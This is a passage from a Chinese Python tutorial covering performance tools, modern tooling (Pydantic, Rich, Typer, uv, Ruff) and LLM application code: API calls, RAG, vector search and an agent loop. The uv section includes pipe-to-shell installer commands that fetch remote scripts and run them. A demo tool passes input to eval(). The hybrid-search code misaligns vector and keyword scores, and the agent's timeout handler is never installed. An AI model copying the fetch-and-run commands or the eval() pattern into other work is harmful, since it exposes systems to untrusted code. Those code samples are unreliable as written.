return big_data.lookup(item)
return process # 返回的函数持有 1GB 的 big_data!
# 修复:只提取需要的部分
def create_processor_good():
big_data = load_huge_dataset()
index = build_index(big_data) # 只保留索引(可能只有 10MB)
del big_data # 释放原始数据
def process(item):
return index.lookup(item)
return process
# 案例 3:事件监听器未取消
class EventBus:
def __init__(self):
self._listeners = {}
def on(self, event, callback):
self._listeners.setdefault(event, []).append(callback)
# 如果 callback 是一个对象方法,会导致对象无法被 GC!
# 修复:使用 weakref
import weakref
class SafeEventBus:
def __init__(self):
self._listeners = {}
def on(self, event, callback):
# 如果是绑定方法,用 weakref 避免阻止 GC
if hasattr(callback, '__self__'):
ref = weakref.WeakMethod(callback)
self._listeners.setdefault(event, []).append(ref)
else:
self._listeners.setdefault(event, []).append(callback)
# ===== Cython:给 Python 代码加类型声明,编译成 C =====
# pip install cython
# 计算密集型函数(纯 Python 版本——慢)
def monte_carlo_pi_python(n: int) -> float:
"""蒙特卡洛方法计算 π"""
import random
inside = 0
for _ in range(n):
x = random.random()
y = random.random()
if x * x + y * y <= 1.0:
inside += 1
return 4.0 * inside / n
# Cython 版本(pi_calc.pyx):
"""
import cython
from libc.stdlib cimport rand, RAND_MAX
@cython.cdivision(True)
def monte_carlo_pi_cython(int n):
cdef int inside = 0
cdef double x, y
cdef int i
for i in range(n):
x = rand() / RAND_MAX
y = rand() / RAND_MAX
if x * x + y * y <= 1.0:
inside += 1
return 4.0 * inside / n
"""
# 编译:cythonize -i pi_calc.pyx
# 速度对比:纯 Python 约 2 秒,Cython 约 0.02 秒(100 倍加速)
# ===== Numba:用装饰器即时编译 =====
# pip install numba
from numba import jit
import numpy as np
# 纯 Python 版本
def matrix_multiply_python(A, B):
n = A.shape[0]
C = np.zeros((n, n))
for i in range(n):
for j in range(n):
for k in range(n):
C[i, j] += A[i, k] * B[k, j]
return C
# Numba 版本(加一个装饰器!)
@jit(nopython=True, parallel=True)
def matrix_multiply_numba(A, B):
n = A.shape[0]
C = np.zeros((n, n))
for i in range(n): # Numba 会自动并行化
for j in range(n):
for k in range(n):
C[i, j] += A[i, k] * B[k, j]
return C
# 速度对比(100x100 矩阵):
# 纯 Python:约 5 秒
# Numba:约 0.005 秒(1000 倍加速)
# NumPy np.dot:约 0.0001 秒(但 Numba 更灵活,适合 NumPy 表达不出的复杂逻辑)
# 使用
A = np.random.rand(100, 100)
B = np.random.rand(100, 100)
# 首次调用有编译开销(~0.5 秒),后续调用极快
C = matrix_multiply_numba(A, B) # 编译
C = matrix_multiply_numba(A, B) # 极快
# ===== PyO3:用 Rust 写 Python 扩展 =====
# 比 Cython 更安全,比 C 扩展更易维护
# Rust 代码(lib.rs):
"""
use pyo3::prelude::*;
#[pyfunction]
fn fibonacci(n: u64) -> u64 {
match n {
0 => 0,
1 => 1,
_ => {
let mut a = 0u64;
let mut b = 1u64;
for _ in 2..=n {
let temp = a + b;
a = b;
b = temp;
}
b
}
}
}
#[pymodule]
fn my_rust_lib(m: &Bound<'_, PyModule>) -> PyResult<()> {
m.add_function(wrap_pyfunction!(fibonacci, m)?)?;
Ok(())
}
"""
# pyproject.toml 配置:
"""
[build-system]
requires = ["maturin>=1.0"]
build-backend = "maturin"
[project]
name = "my-rust-lib"
"""
# 构建:maturin develop --release
# Python 中使用:
# from my_rust_lib import fibonacci
# fibonacci(100) # 比纯 Python 快 50-100 倍
# ===== 选择建议 =====
# | 方案 | 加速比 | 学习成本 | 适用场景 |
# |-----------|--------|---------|---------------------------|
# | NumPy | 10-40x | 低 | 数值计算、矩阵运算 |
# | Numba | 50-200x| 低 | 数值循环、科学计算 |
# | Cython | 50-200x| 中 | 通用加速、需要 C 级控制 |
# | PyO3(Rust)| 50-200x| 高 | 系统级扩展、需要内存安全 |
# | C 扩展 | 50-200x| 高 | 最大控制、CPython 内部开发 |
Python 生态在 2024-2026 年经历了巨大变革。本章介绍当前最流行的现代工具:Pydantic(数据验证)、Rich(终端美化)、Typer(CLI 框架)、UV(超快包管理器)、Ruff(超快 linter)。掌握这些工具,你的开发效率会提升一个量级。
# pip install pydantic
from pydantic import BaseModel, Field, field_validator, model_validator, EmailStr
from typing import Optional
from datetime import datetime
# ===== 基本用法:自动类型验证 =====
class User(BaseModel):
name: str
age: int = Field(ge=0, le=150) # 限制范围
email: EmailStr # 需要安装 email-validator: pip install email-validator
is_active: bool = True
created_at: datetime = Field(default_factory=datetime.now)
# 自动验证和类型转换
user = User(name="张三", age="25", email="zhangsan@example.com")
print(user.age) # 25(字符串自动转为 int)
print(user.model_dump()) # 转为字典
print(user.model_dump_json()) # 转为 JSON 字符串
# 验证失败会抛出详细错误
try:
User(name="李四", age=-5, email="bad")
except Exception as e:
print(e)
# 2 validation errors:
# age: Input should be greater than or equal to 0
# email: value is not a valid email address
# ===== 自定义验证器 =====
class Product(BaseModel):
name: str
price: float = Field(gt=0)
discount: float = Field(ge=0, le=1, default=0)
@field_validator('name')
@classmethod
def name_must_be_valid(cls, v):
if len(v) < 2:
raise ValueError('商品名至少 2 个字符')
return v.strip()
@model_validator(mode='after')
def check_discount(self):
if self.discount > 0 and self.price < 10:
raise ValueError('价格低于 10 元不能打折')
return self
# ===== 嵌套模型 =====
class Address(BaseModel):
city: str
street: str
class Employee(BaseModel):
name: str
address: Address
skills: list[str] = []
emp = Employee(
name="王五",
address={"city": "北京", "street": "中关村大街"},
skills=["Python", "SQL"]
)
print(emp.address.city) # 北京
# ===== 与 FastAPI 集成 =====
# FastAPI 原生支持 Pydantic,自动生成 API 文档
# from fastapi import FastAPI
# app = FastAPI()
# @app.post("/users/")
# def create_user(user: User): # 自动验证请求体
# return user
# pip install rich
from rich.console import Console
from rich.table import Table
from rich.progress import track
from rich.panel import Panel
from rich.syntax import Syntax
from rich.tree import Tree
from rich import print as rprint
import time
console = Console()
# ===== 彩色输出 =====
console.print("这是[bold red]红色粗体[/]文字")
console.print("[green]成功![/] 操作完成")
console.print("[yellow]警告:[/]磁盘空间不足")
# ===== 表格 =====
table = Table(title="用户列表")
table.add_column("姓名", style="cyan")
table.add_column("年龄", style="magenta")
table.add_column("城市", style="green")
table.add_row("张三", "25", "北京")
table.add_row("李四", "30", "上海")
table.add_row("王五", "28", "深圳")
console.print(table)
# ===== 进度条 =====
for step in track(range(100), description="处理中..."):
time.sleep(0.02)
# ===== 面板 =====
console.print(Panel.fit(
"[bold green]部署成功![/]\n"
"服务地址: http://localhost:8000\n"
"数据库: PostgreSQL 15",
title="🚀 系统状态"
))
# ===== 代码高亮 =====
code = '''
def hello(name: str) -> str:
return f"Hello, {name}!"
'''
syntax = Syntax(code, "python", theme="monokai", line_numbers=True)
console.print(syntax)
# ===== 树形结构 =====
tree = Tree("📁 项目结构")
src = tree.add("📁 src")
src.add("📄 main.py")
src.add("📄 utils.py")
tests = tree.add("📁 tests")
tests.add("📄 test_main.py")
console.print(tree)
# ===== 日志美化 =====
from rich.logging import RichHandler
import logging
logging.basicConfig(
level=logging.INFO,
format="%(message)s",
handlers=[RichHandler(rich_tracebacks=True)]
)
logger = logging.getLogger("rich")
logger.info("服务启动")
logger.warning("内存使用率 85%")
# pip install typer
import typer
from typing import Optional
from rich.console import Console
app = typer.Typer(help="一个示例 CLI 工具")
console = Console()
@app.command()
def greet(
name: str = typer.Argument(..., help="你的名字"),
count: int = typer.Option(1, "--count", "-c", help="重复次数"),
greeting: str = typer.Option("Hello", "--greeting", "-g", help="问候语"),
):
"""向用户打招呼"""
for _ in range(count):
console.print(f"[bold green]{greeting}[/], {name}!")
@app.command()
def add(
a: float = typer.Argument(..., help="第一个数"),
b: float = typer.Argument(..., help="第二个数"),
):
"""计算两个数的和"""
result = a + b
console.print(f"[cyan]{a} + {b} = {result}[/]")
@app.command()
def process(
input_file: typer.FileText = typer.Argument(..., help="输入文件"),
output: Optional[str] = typer.Option(None, "--output", "-o", help="输出文件"),
verbose: bool = typer.Option(False, "--verbose", "-v", help="详细模式"),
):
"""处理文件"""
content = input_file.read()
if verbose:
console.print(f"读取了 {len(content)} 个字符")
# 处理逻辑...
if output:
with open(output, 'w') as f:
f.write(content.upper())
console.print(f"[green]已保存到 {output}[/]")
if __name__ == "__main__":
app()
# 运行:python cli.py greet 张三 --count 3
# 运行:python cli.py add 10 20
# 运行:python cli.py process input.txt -o output.txt -v
# 运行:python cli.py --help
# UV 是 Astral(ruff 团队)开发的超快 Python 包管理器
# 用 Rust 编写,比 pip 快 10-100 倍
# ===== 安装 =====
# Windows: powershell -c "irm https://astral.sh/uv/install.ps1 | iex"
# macOS/Linux: curl -LsSf https://astral.sh/uv/install.sh | sh
# ===== 基本用法 =====
# uv pip install requests # 安装包(极快)
# uv pip install -r requirements.txt
# uv pip compile requirements.in # 锁定依赖版本
# ===== 项目管理 =====
# uv init my-project # 初始化新项目
# uv add requests fastapi # 添加依赖
# uv add --dev pytest ruff # 添加开发依赖
# uv remove requests # 移除依赖
# uv sync # 同步依赖(类似 npm install)
# uv lock # 生成锁文件
# ===== Python 版本管理 =====
# uv python install 3.12 # 安装 Python 3.12
# uv python list # 列出可用版本
# uv python pin 3.12 # 固定项目 Python 版本
# ===== 运行脚本 =====
# uv run python main.py # 在项目环境中运行
# uv run pytest # 运行测试
# ===== 与传统工具对比 =====
# pip install requests → uv pip install requests (快 50x)
# pip-compile → uv pip compile (快 100x)
# virtualenv + pip → uv venv + uv pip (一体化)
# pyenv + pipenv + pip → uv (统一工具)
# pyproject.toml 示例(UV 管理的项目)
# [project]
# name = "my-app"
# version = "0.1.0"
# requires-python = ">=3.11"
# dependencies = [
# "fastapi>=0.100",
# "pydantic>=2.0",
# "uvicorn>=0.23",
# ]
#
# [tool.uv]
# dev-dependencies = [
# "pytest>=7.0",
# "ruff>=0.1",
# ]
# Ruff 用 Rust 编写,比 Flake8 快 10-100 倍
# 同时集成了 isort、pyupgrade、pylint 等工具的功能
# ===== 安装 =====
# uv pip install ruff
# 或:pip install ruff
# ===== 基本用法 =====
# ruff check . # 检查代码
# ruff check . --fix # 自动修复
# ruff format . # 格式化代码(替代 black)
# ruff format --check . # 检查是否已格式化
# ===== pyproject.toml 配置 =====
# [tool.ruff]
# target-version = "py312"
# line-length = 88
#
# [tool.ruff.lint]
# select = [
# "E", # pycodestyle errors
# "W", # pycodestyle warnings
# "F", # pyflakes
# "I", # isort
# "N", # pep8-naming
# "UP", # pyupgrade
# "B", # flake8-bugbear
# "SIM", # flake8-simplify
# "RUF", # ruff-specific rules
# ]
# ignore = ["E501"] # 忽略行长度限制
#
# [tool.ruff.lint.isort]
# known-first-party = ["myapp"]
# ===== 与 pre-commit 集成 =====
# .pre-commit-config.yaml:
# repos:
# - repo: https://github.com/astral-sh/ruff-pre-commit
# rev: v0.8.0
# hooks:
# - id: ruff
# args: [--fix]
# - id: ruff-format
# 一个 2026 年的现代 Python 项目结构:
my-project/
├── pyproject.toml # 项目配置(替代 setup.py、setup.cfg、requirements.txt)
├── uv.lock # 依赖锁文件
├── .python-version # Python 版本固定
├── .pre-commit-config.yaml # 提交前自动检查
├── ruff.toml # Ruff 配置
├── Dockerfile
├── docker-compose.yml
├── .github/
│ └── workflows/
│ ├── ci.yml # 持续集成
│ └── release.yml # 自动发布
├── src/
│ └── my_project/
│ ├── __init__.py
│ ├── main.py
│ ├── models.py # Pydantic 模型
│ ├── config.py # 配置管理
│ ├── utils/
│ │ ├── __init__.py
│ │ └── helpers.py
│ └── api/
│ ├── __init__.py
│ └── routes.py
├── tests/
│ ├── conftest.py
│ ├── test_main.py
│ └── test_models.py
└── docs/
└── README.md
# pyproject.toml 完整示例:
# [project]
# name = "my-project"
# version = "0.1.0"
# description = "A modern Python project"
# requires-python = ">=3.12"
# dependencies = [
# "pydantic>=2.0",
# "rich>=13.0",
# "typer>=0.9",
# ]
#
# [project.optional-dependencies]
# dev = [
# "pytest>=8.0",
# "pytest-cov>=4.0",
# "ruff>=0.8",
# "pre-commit>=3.0",
# "mypy>=1.0",
# ]
#
# [build-system]
# requires = ["hatchling"]
# build-backend = "hatchling.build"
#
# [tool.pytest.ini_options]
# testpaths = ["tests"]
# addopts = "--cov=src --cov-report=term-missing"
#
# [tool.mypy]
# python_version = "3.12"
# strict = true
2024-2026 年,AI 大模型已经从"实验室"走向了"生产环境"。本章教你用 Python 构建 AI 应用:调用 OpenAI/Claude API、使用 LangChain 构建 RAG 系统、Function Calling、向量数据库、Agent 架构。这是当前最热门的 Python 应用方向。
# pip install openai
from openai import OpenAI
# ===== 基本对话 =====
client = OpenAI(api_key="your-api-key")
response = client.chat.completions.create(
model="gpt-4o",
messages=[
{"role": "system", "content": "你是一个 Python 专家"},
{"role": "user", "content": "解释什么是装饰器"}
],
temperature=0.7,
max_tokens=500
)
print(response.choices[0].message.content)
# ===== 流式输出(SSE)=====
stream = client.chat.completions.create(
model="gpt-4o",
messages=[{"role": "user", "content": "写一首关于编程的诗"}],
stream=True
)
for chunk in stream:
if chunk.choices[0].delta.content:
print(chunk.choices[0].delta.content, end="", flush=True)
# ===== 多轮对话 =====
messages = [
{"role": "system", "content": "你是一个友好的助手"}
]
def chat(user_input: str) -> str:
messages.append({"role": "user", "content": user_input})
response = client.chat.completions.create(
model="gpt-4o",
messages=messages
)
reply = response.choices[0].message.content
messages.append({"role": "assistant", "content": reply})
return reply
print(chat("你好,我叫张三"))
print(chat("你还记得我叫什么吗?")) # 能记住上下文
# ===== 结构化输出(JSON Mode)=====
response = client.chat.completions.create(
model="gpt-4o",
messages=[
{"role": "system", "content": "以 JSON 格式返回用户信息"},
{"role": "user", "content": "张三,25岁,北京"}
],
response_format={"type": "json_object"}
)
import json
data = json.loads(response.choices[0].message.content)
print(data) # {"name": "张三", "age": 25, "city": "北京"}
import json
from openai import OpenAI
client = OpenAI()
# 定义工具(函数)
tools = [
{
"type": "function",
"function": {
"name": "get_weather",
"description": "获取指定城市的天气信息",
"parameters": {
"type": "object",
"properties": {
"city": {
"type": "string",
"description": "城市名称,如'北京'"
},
"unit": {
"type": "string",
"enum": ["celsius", "fahrenheit"],
"description": "温度单位"
}
},
"required": ["city"]
}
}
}
]
# 模拟天气查询函数
def get_weather(city: str, unit: str = "celsius") -> dict:
return {"city": city, "temperature": 25, "unit": unit, "condition": "晴"}
# 第一轮:让 AI 决定是否调用函数
messages = [{"role": "user", "content": "北京今天天气怎么样?"}]
response = client.chat.completions.create(
model="gpt-4o",
messages=messages,
tools=tools,
tool_choice="auto"
)
msg = response.choices[0].message
# 如果 AI 决定调用函数
if msg.tool_calls:
for tool_call in msg.tool_calls:
func_name = tool_call.function.name
func_args = json.loads(tool_call.function.arguments)
print(f"AI 要调用: {func_name}({func_args})")
# 执行函数
result = get_weather(**func_args)
# 把结果返回给 AI
messages.append(msg)
messages.append({
"role": "tool",
"tool_call_id": tool_call.id,
"content": json.dumps(result, ensure_ascii=False)
})
# 第二轮:AI 基于函数结果生成回答
final_response = client.chat.completions.create(
model="gpt-4o",
messages=messages
)
print(final_response.choices[0].message.content)
# "北京今天天气晴朗,温度25°C,适合出行!"
# pip install langchain langchain-openai langchain-community langchain-text-splitters langchain-faiss
from langchain_openai import ChatOpenAI, OpenAIEmbeddings
from langchain_core.prompts import ChatPromptTemplate
from langchain_core.output_parsers import StrOutputParser
from langchain_core.runnables import RunnablePassthrough
# ===== 基本链 =====
llm = ChatOpenAI(model="gpt-4o", temperature=0)
prompt = ChatPromptTemplate.from_messages([
("system", "你是一个{role}专家,用简洁的语言回答问题"),
("user", "{question}")
])
chain = prompt | llm | StrOutputParser()
result = chain.invoke({"role": "Python", "question": "什么是装饰器?"})
print(result)
# ===== RAG(检索增强生成)=====
# 1. 加载文档(LangChain 0.2+ 推荐使用独立包)
from langchain_community.document_loaders import TextLoader, DirectoryLoader
from langchain_text_splitters import RecursiveCharacterTextSplitter
loader = DirectoryLoader("./docs", glob="**/*.md", loader_cls=TextLoader)
documents = loader.load()
# 2. 分割文档
splitter = RecursiveCharacterTextSplitter(
chunk_size=500,
chunk_overlap=50
)
chunks = splitter.split_documents(documents)
# 3. 向量化存储
from langchain_community.vectorstores import FAISS
from langchain_openai import OpenAIEmbeddings
embeddings = OpenAIEmbeddings()
vectorstore = FAISS.from_documents(chunks, embeddings)
retriever = vectorstore.as_retriever(search_kwargs={"k": 3})
# 4. 构建 RAG 链
from langchain_core.prompts import ChatPromptTemplate
rag_prompt = ChatPromptTemplate.from_template("""
基于以下上下文回答问题。如果上下文中没有相关信息,请说"我无法从提供的资料中找到答案"。
上下文:
{context}
问题:{question}
""")
def format_docs(docs):
return "\n\n".join(doc.page_content for doc in docs)
rag_chain = (
{"context": retriever | format_docs, "question": RunnablePassthrough()}
| rag_prompt
| llm
| StrOutputParser()
)
answer = rag_chain.invoke("如何配置 Docker?")
print(answer)
# ===== Agent:让 AI 自主决定使用哪些工具 =====
from langchain.agents import AgentExecutor, create_tool_calling_agent
from langchain_core.tools import tool
@tool
def search_database(query: str) -> str:
"""搜索产品数据库"""
# 模拟数据库查询
return f"找到 3 个与'{query}'相关的产品"
@tool
def calculate(expression: str) -> str:
"""计算数学表达式"""
# ⚠️ 注意:eval() 仅作演示!生产环境请用 simpleeval 或 ast.literal_eval 替代
allowed = set("0123456789+-*/.() ")
if not all(c in allowed for c in expression):
raise ValueError("表达式包含非法字符")
return str(eval(expression))
tools = [search_database, calculate]
agent_prompt = ChatPromptTemplate.from_messages([
("system", "你是一个智能助手,可以搜索数据库和进行计算"),
("user", "{input}"),
("placeholder", "{agent_scratchpad}")
])
agent = create_tool_calling_agent(llm, tools, agent_prompt)
executor = AgentExecutor(agent=agent, tools=tools, verbose=True)
result = executor.invoke({"input": "帮我搜索笔记本电脑,然后计算 12 期分期每期多少钱"})
print(result["output"])
# pip install chromadb
import chromadb
from chromadb.utils import embedding_functions
# ===== ChromaDB 基本用法 =====
client = chromadb.Client() # 内存模式
# client = chromadb.PersistentClient(path="./chroma_db") # 持久化模式
# 创建集合
ef = embedding_functions.OpenAIEmbeddingFunction(
api_key="your-api-key",
model_name="text-embedding-3-small"
)
collection = client.create_collection(
name="my_docs",
embedding_function=ef
)
# 添加文档
collection.add(
documents=["Python 是一种解释型语言", "Docker 是容器化技术", "Redis 是内存数据库"],
ids=["doc1", "doc2", "doc3"],
metadatas=[
{"category": "language", "difficulty": "easy"},
{"category": "devops", "difficulty": "medium"},
{"category": "database", "difficulty": "medium"}
]
)
# 查询相似文档
results = collection.query(
query_texts=["什么是编程语言?"],
n_results=2
)
print(results)
# 最相关的是 "Python 是一种解释型语言"
# 带过滤条件查询
results = collection.query(
query_texts=["数据库技术"],
n_results=2,
where={"category": "database"}
)
# ===== 实用技巧 =====
# 1. 分块策略:文档按 500-1000 字符分块,保留 50 字符重叠
# 2. 元数据过滤:用 metadata 缩小搜索范围,提高准确率
# 3. 混合搜索:向量搜索 + 关键词搜索结合
# 4. 定期更新:文档变化时重新索引
# 完整示例:基于 RAG 的知识库问答系统
from fastapi import FastAPI
from pydantic import BaseModel
from openai import OpenAI
import chromadb
from typing import Generator
app = FastAPI()
client = OpenAI()
# 初始化向量数据库
chroma_client = chromadb.PersistentClient(path="./knowledge_db")
collection = chroma_client.get_collection("knowledge_base")
class Question(BaseModel):
question: str
top_k: int = 3
class Answer(BaseModel):
answer: str
sources: list[str]
@app.post("/ask", response_model=Answer)
def ask_question(q: Question):
"""基于知识库的问答"""
# 1. 检索相关文档
results = collection.query(
query_texts=[q.question],
n_results=q.top_k
)
contexts = results["documents"][0]
sources = results["metadatas"][0]
# 2. 构建 prompt
system_prompt = f"""你是一个知识库助手。基于以下参考资料回答问题。
如果资料中没有相关信息,请明确告知用户。
参考资料:
{chr(10).join(f'[{i+1}] {ctx}' for i, ctx in enumerate(contexts))}"""
# 3. 调用大模型
response = client.chat.completions.create(
model="gpt-4o",
messages=[
{"role": "system", "content": system_prompt},
{"role": "user", "content": q.question}
]
)
return Answer(
answer=response.choices[0].message.content,
sources=[s.get("source", "未知") for s in sources]
)
@app.post("/ask/stream")
def ask_stream(q: Question):
"""流式问答(SSE)"""
results = collection.query(query_texts=[q.question], n_results=q.top_k)
contexts = results["documents"][0]
def generate() -> Generator[str, None, None]:
stream = client.chat.completions.create(
model="gpt-4o",
messages=[
{"role": "system", "content": f"基于以下资料回答:\n{chr(10).join(contexts)}"},
{"role": "user", "content": q.question}
],
stream=True
)
for chunk in stream:
if chunk.choices[0].delta.content:
yield f"data: {chunk.choices[0].delta.content}\n\n"
yield "data: [DONE]\n\n"
from fastapi.responses import StreamingResponse
return StreamingResponse(generate(), media_type="text/event-stream")
上面演示的 RAG 只用了最基础的向量检索(similarity search)。在生产环境中,纯向量检索的召回率往往不够——用户搜"如何退款"时,向量可能匹配到语义相近但无关的文档(如"如何充值")。混合检索 + Rerank 是解决这一问题的标准方案。
# ===== 混合检索(Hybrid Search):向量检索 + BM25 关键词检索 =====
# 核心思想:向量检索擅长"语义匹配",BM25 擅长"精确关键词匹配"
# 两者结合,召回率显著提升
# pip install rank_bm25 langchain-community
from rank_bm25 import BM25Okapi
import jieba
from langchain_openai import OpenAIEmbeddings
from langchain_community.vectorstores import FAISS
# 1. 准备文档
documents = [
"Python 的 GIL 限制了多线程的 CPU 并行能力",
"Docker 容器化技术让部署更加便捷",
"Redis 是一个高性能的内存数据库",
"退款流程:登录后进入订单页面,点击退款按钮",
"充值方式:支持支付宝、微信、银行卡充值",
]
# 2. 构建 BM25 索引(关键词检索)
tokenized_docs = [list(jieba.cut(doc)) for doc in documents]
bm25 = BM25Okapi(tokenized_docs)
# 3. 构建向量索引(语义检索)
embeddings = OpenAIEmbeddings()
vectorstore = FAISS.from_texts(documents, embeddings)
# 4. 混合检索函数
def hybrid_search(query: str, top_k: int = 3, alpha: float = 0.5):
"""
alpha: 向量检索权重(0-1),1-alpha 为 BM25 权重
alpha=0.7 表示更依赖语义,alpha=0.3 表示更依赖关键词
"""
# 向量检索:返回 (doc, score) 列表
vector_results = vectorstore.similarity_search_with_score(query, k=top_k * 2)
# BM25 检索
tokenized_query = list(jieba.cut(query))
bm25_scores = bm25.get_scores(tokenized_query)
# 归一化分数到 0-1
import numpy as np
vec_scores = np.array([1 - score for _, score in vector_results]) # FAISS 距离转相似度
vec_scores = vec_scores / (vec_scores.max() + 1e-8)
bm25_norm = bm25_scores / (bm25_scores.max() + 1e-8)
# 加权融合(RRF 或加权求和)
final_scores = alpha * vec_scores[:len(bm25_norm)] + (1 - alpha) * bm25_norm[:len(vec_scores)]
# 按分数排序返回
ranked_indices = np.argsort(final_scores)[::-1][:top_k]
return [documents[i] for i in ranked_indices]
results = hybrid_search("退款", top_k=3)
print("混合检索结果:", results)
# ===== Rerank(重排模型):二次精排提升准确率 =====
# 核心思想:先用粗检索(向量+BM25)召回 20-50 条候选,
# 再用 Cross-Encoder 精排模型对每条 (query, doc) 打分,取 Top-K
# pip install sentence-transformers
from sentence_transformers import CrossEncoder
# 加载 Rerank 模型(推荐 bge-reranker 或 Cohere rerank API)
reranker = CrossEncoder("BAAI/bge-reranker-base", max_length=512)
def rag_with_rerank(query: str, top_k: int = 3, recall_k: int = 20):
"""完整 RAG 流程:粗召回 → 精排 → 生成"""
# 第一步:粗召回(向量 + BM25 混合,召回 recall_k 条)
candidate_docs = vectorstore.similarity_search(query, k=recall_k)
candidate_texts = [doc.page_content for doc in candidate_docs]
# 第二步:Rerank 精排
pairs = [(query, text) for text in candidate_texts]
scores = reranker.predict(pairs)
# 按 Rerank 分数排序,取 Top-K
ranked = sorted(zip(candidate_texts, scores), key=lambda x: x[1], reverse=True)
top_docs = [doc for doc, _ in ranked[:top_k]]
# 第三步:将精排后的文档送入 LLM 生成答案
context = "\n\n".join(f"[{i+1}] {doc}" for i, doc in enumerate(top_docs))
prompt = f"""基于以下参考资料回答问题。如果资料中没有相关信息,请说"我无法从提供的资料中找到答案"。
参考资料:
{context}
问题:{query}"""
return prompt # 送给 LLM
# ===== Chunking 策略进阶(决定 RAG 质量的关键)=====
# ❌ 初学者做法:固定 500 字符切分——可能把一句话切成两半
# ✅ 生产环境做法:
# 策略 1:递归字符分割(LangChain 默认推荐)
from langchain_text_splitters import RecursiveCharacterTextSplitter
splitter = RecursiveCharacterTextSplitter(
chunk_size=500,
chunk_overlap=50,
separators=["\n\n", "\n", "。", "!", "?", ";", ",", " "], # 中文友好
length_function=len,
)
# 策略 2:语义分块(Semantic Chunking)——按语义相似度切分
# 核心思想:计算相邻句子的 embedding 相似度,在"语义断层"处切分
from langchain_experimental.text_splitter import SemanticChunker
semantic_splitter = SemanticChunker(
OpenAIEmbeddings(),
breakpoint_threshold_type="percentile", # 在相似度下降超过阈值处切分
breakpoint_threshold_amount=75,
)
# 策略 3:父子文档检索(Parent-Child Retrieval)
# 核心思想:小块用于精确检索,命中后返回其所属的大块(父文档)给 LLM
# 这样检索更精确,但 LLM 看到的上下文更完整
from langchain.text_splitter import RecursiveCharacterTextSplitter
parent_splitter = RecursiveCharacterTextSplitter(chunk_size=2000, chunk_overlap=200)
child_splitter = RecursiveCharacterTextSplitter(chunk_size=400, chunk_overlap=50)
def create_parent_child_index(document):
"""创建父子文档索引"""
parent_docs = parent_splitter.split_documents([document])
all_child_docs = []
child_to_parent = {}
for parent_doc in parent_docs:
child_docs = child_splitter.split_documents([parent_doc])
for child in child_docs:
child.metadata["parent_id"] = parent_doc.metadata.get("source", "") + str(id(parent_doc))
child_to_parent[child.metadata["parent_id"]] = parent_doc.page_content
all_child_docs.append(child)
# 用小块建向量索引(检索更精确)
child_vectorstore = FAISS.from_documents(all_child_docs, OpenAIEmbeddings())
return child_vectorstore, child_to_parent
def parent_child_search(query, child_vectorstore, child_to_parent, top_k=3):
"""检索小块,返回大块"""
child_results = child_vectorstore.similarity_search(query, k=top_k)
parent_contents = []
seen = set()
for doc in child_results:
parent_id = doc.metadata.get("parent_id")
if parent_id and parent_id not in seen:
seen.add(parent_id)
parent_contents.append(child_to_parent[parent_id])
return parent_contents # 返回父文档(上下文更完整)
上面的 Agent 演示只是"跑通了"工具调用。生产环境的 Agent 面临三个核心问题:(1) 工具调用失败怎么办?(2) 长对话的上下文爆了怎么办?(3) Agent 陷入死循环怎么办?
# ===== ReAct 模式的底层逻辑 =====
# ReAct = Reasoning + Acting
# 每一步 Agent 都经历:Thought → Action → Observation → Thought → ...
# 这不是魔法,而是一个 while 循环 + 状态管理
import json
import time
from openai import OpenAI
from typing import Any
client = OpenAI()
class ProductionAgent:
"""生产级 Agent:带重试、降级、记忆管理"""
def __init__(self, tools: dict, max_iterations: int = 10, max_retries: int = 3):
self.tools = tools # {"tool_name": callable}
self.max_iterations = max_iterations # 防止死循环
self.max_retries = max_retries
self.memory = [] # 对话历史
self.tool_schemas = self._build_tool_schemas()
def _build_tool_schemas(self):
"""从工具函数自动生成 OpenAI Function Calling schema"""
# 省略具体实现,参考 49.2 节
return []
def run(self, user_input: str) -> str:
"""主循环:ReAct 模式"""
self.memory.append({"role": "user", "content": user_input})
for iteration in range(self.max_iterations):
# 1. 调用 LLM,决定下一步
response = client.chat.completions.create(
model="gpt-4o",
messages=self._get_messages(),
tools=self.tool_schemas,
tool_choice="auto"
)
msg = response.choices[0].message
# 2. 如果 LLM 决定直接回复(不再调用工具)
if not msg.tool_calls:
self.memory.append({"role": "assistant", "content": msg.content})
return msg.content
# 3. 执行工具调用(带重试和降级)
self.memory.append(msg)
for tool_call in msg.tool_calls:
result = self._execute_tool_with_retry(tool_call)
self.memory.append({
"role": "tool",
"tool_call_id": tool_call.id,
"content": json.dumps(result, ensure_ascii=False)
})
return "抱歉,我尝试了多次仍无法完成任务。请稍后重试。"
def _execute_tool_with_retry(self, tool_call) -> dict:
"""工具调用:重试 + 降级 + 超时"""
func_name = tool_call.function.name
func_args = json.loads(tool_call.function.arguments)
for attempt in range(self.max_retries):
try:
# 超时控制
import signal
def timeout_handler(signum, frame):
raise TimeoutError(f"工具 {func_name} 执行超时")
# 调用工具
start = time.time()
result = self.tools[func_name](**func_args)
elapsed = time.time() - start
if elapsed > 30: # 工具执行超过 30 秒记录警告
print(f"⚠️ 工具 {func_name} 执行耗时 {elapsed:.1f}s")
return {"status": "success", "data": result}
except TimeoutError:
print(f"⏰ 工具 {func_name} 超时,重试 {attempt + 1}/{self.max_retries}")
time.sleep(2 ** attempt) # 指数退避
except Exception as e:
print(f"❌ 工具 {func_name} 失败: {e},重试 {attempt + 1}/{self.max_retries}")
time.sleep(2 ** attempt)
# 所有重试失败 → 降级:返回友好错误信息而非崩溃
return {
"status": "error",
"message": f"工具 {func_name} 暂时不可用,请尝试其他方式或稍后重试"
}
def _get_messages(self) -> list:
"""获取消息历史(带记忆管理)"""
# 如果对话太长,压缩历史
if len(self.memory) > 50:
return self._compress_memory()
return self.memory.copy()
def _compress_memory(self) -> list:
"""长对话记忆压缩:摘要记忆"""
# 取前 30 条消息,让 LLM 生成摘要
old_messages = self.memory[:30]
summary_prompt = "请用 3-5 句话总结以下对话的关键信息:\n"
summary_prompt += "\n".join(
f"{m['role']}: {m.get('content', '[工具调用]')}" for m in old_messages
)
summary_response = client.chat.completions.create(
model="gpt-4o-mini", # 用便宜的模型做摘要
messages=[{"role": "user", "content": summary_prompt}]
)
summary = summary_response.choices[0].message.content
# 用摘要替代旧消息
return [
{"role": "system", "content": f"对话历史摘要:{summary}"},
*self.memory[30:] # 保留最近的消息
]
# ===== 向量记忆(另一种方案)=====
# 核心思想:把历史对话存入向量数据库,每次只检索最相关的几条
# 适合超长对话(几百轮),不需要压缩
import chromadb
class VectorMemory:
"""基于向量检索的对话记忆"""
def __init__(self):
self.client = chromadb.Client()
self.collection = self.client.create_collection("chat_history")
self.counter = 0
def add(self, role: str, content: str):
"""添加一条记忆"""
self.counter += 1
self.collection.add(
documents=[content],
